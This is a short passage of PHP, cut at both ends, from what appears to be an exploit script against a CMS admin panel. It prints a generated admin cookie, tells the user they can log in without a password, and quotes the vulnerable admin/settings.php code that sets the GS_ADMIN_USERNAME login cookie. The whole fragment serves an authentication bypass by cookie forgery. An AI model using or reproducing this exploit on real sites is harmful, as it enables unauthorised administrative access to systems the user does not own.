';
echo 'and login without password, right?
Generated cookie: ';
echo $cookie_name . '
';
echo '
Anyway: this simple code exploits vulnerability in :
';
echo 'admin/settings.php:';
if( $authenticated ) {
# YES - set the login cookie, then redirect user to secure panel
// create_cookie();
setcookie('GS_ADMIN_USERNAME', $USR, time() + 3600,'/');
echo '